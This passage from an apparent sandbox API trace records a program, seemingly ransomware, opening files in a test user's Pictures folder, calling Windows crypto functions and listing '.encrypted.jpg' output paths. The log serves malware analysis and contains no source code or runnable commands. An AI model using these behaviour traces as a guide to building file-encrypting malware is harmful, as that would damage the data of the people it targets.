lpMsg=0xe8f3dfee40) returned 0 [0028.722] CharLowerBuffW (in: lpsz="byte[76214]", cchLength=0xb | out: lpsz="byte[76214]") returned 0xb [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.723] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.723] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.723] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.724] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.724] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.724] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.725] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.725] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.728] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.728] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9646) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.728] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x25ae, lpOverlapped=0x0) returned 1 [0028.728] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x25ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9646) returned 1 [0028.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\ZhbqZgbSVVeENsq.encrypted.jpg\r\n", cchWideChar=92, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 92 [0028.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\ZhbqZgbSVVeENsq.encrypted.jpg\r\n", cchWideChar=92, lpMultiByteStr=0xe8f40624f0, cbMultiByte=92, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\ZhbqZgbSVVeENsq.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 92 [0028.729] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40625d0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40625d0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5b, lpOverlapped=0x0) returned 1 [0028.729] CloseHandle (hObject=0x1fc) returned 1 [0028.730] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.730] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.730] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.730] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.730] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.731] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.732] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178520, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.732] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.732] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0028.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg", cchWideChar=50, lpMultiByteStr=0xe8f404c010, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg", lpUsedDefaultChar=0x0) returned 50 [0028.733] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\tg7zwtiimx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0028.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=50, lpWideCharStr=0xe8f4062b10, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\Tg7ZWTiiMx.jpg") returned 50 [0028.733] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.734] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.734] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.734] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.734] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.734] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.735] CloseHandle (hObject=0x1fc) returned 1 [0028.735] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.735] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.735] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.735] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.735] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.736] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.736] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.736] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.736] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.737] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.737] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.737] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.737] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.737] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.738] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 